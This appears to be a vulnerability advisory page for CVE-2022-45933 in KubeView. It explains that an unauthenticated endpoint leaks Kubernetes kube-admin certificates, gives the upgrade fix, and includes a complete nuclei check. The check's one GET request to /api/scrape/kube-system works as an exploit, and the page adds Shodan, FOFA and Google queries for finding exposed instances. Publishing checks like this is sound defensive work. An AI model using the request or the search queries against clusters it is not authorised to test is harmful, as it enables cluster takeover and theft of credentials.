KubeView <=0.1.31 - Information Disclosure

criticalseverity

9.8CVSS score

51.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

KubeView through 0.1.31 is susceptible to information disclosure. An attacker can obtain control of a Kubernetes cluster because api/scrape/kube-system does not require authentication and retrieves certificate files that can be used for authentication as kube-admin. An attacker can thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

Unauthenticated attackers can access Kubernetes certificate files through the unauthenticated api/scrape/kube-system endpoint, potentially obtaining kube-admin credentials and gaining complete control over the Kubernetes cluster.

Fix

Upgrade KubeView to a version higher than 0.1.31 to mitigate the information disclosure vulnerability (CVE-2022-45933).

How to confirm it

Send: GET {{BaseURL}}/api/scrape/kube-system
Positive when: contains "BEGIN CERTIFICATE" and "END CERTIFICATE" and "kubernetes.io" AND status 200

Run it with nuclei: nuclei -id CVE-2022-45933 -u <target>

The full check

id: CVE-2022-45933

info:
  name: KubeView <=0.1.31 - Information Disclosure
  author: For3stCo1d
  severity: critical
  description: |
    KubeView through 0.1.31 is susceptible to information disclosure. An attacker can obtain control of a Kubernetes cluster because api/scrape/kube-system does not require authentication and retrieves certificate files that can be used for authentication as kube-admin. An attacker can thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Unauthenticated attackers can access Kubernetes certificate files through the unauthenticated api/scrape/kube-system endpoint, potentially obtaining kube-admin credentials and gaining complete control over the Kubernetes cluster.
  remediation: |
    Upgrade KubeView to a version higher than 0.1.31 to mitigate the information disclosure vulnerability (CVE-2022-45933).
  reference:
    - https://github.com/benc-uk/kubeview/issues/95
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45933
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45933
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-45933
    cwe-id: CWE-306
    epss-score: 0.51696
    epss-percentile: 0.98955
    cpe: cpe:2.3:a:kubeview_project:kubeview:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kubeview_project
    product: kubeview
    shodan-query:
      - http.title:"KubeView"
      - http.title:"kubeview"
      - http.favicon.hash:-379154636
    fofa-query:
      - icon_hash=-379154636
      - title="kubeview"
    google-query: intitle:"kubeview"
  tags: cve,cve2022,kubeview,kubernetes,exposure,kubeview_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/scrape/kube-system"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'BEGIN CERTIFICATE'
          - 'END CERTIFICATE'
          - 'kubernetes.io'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from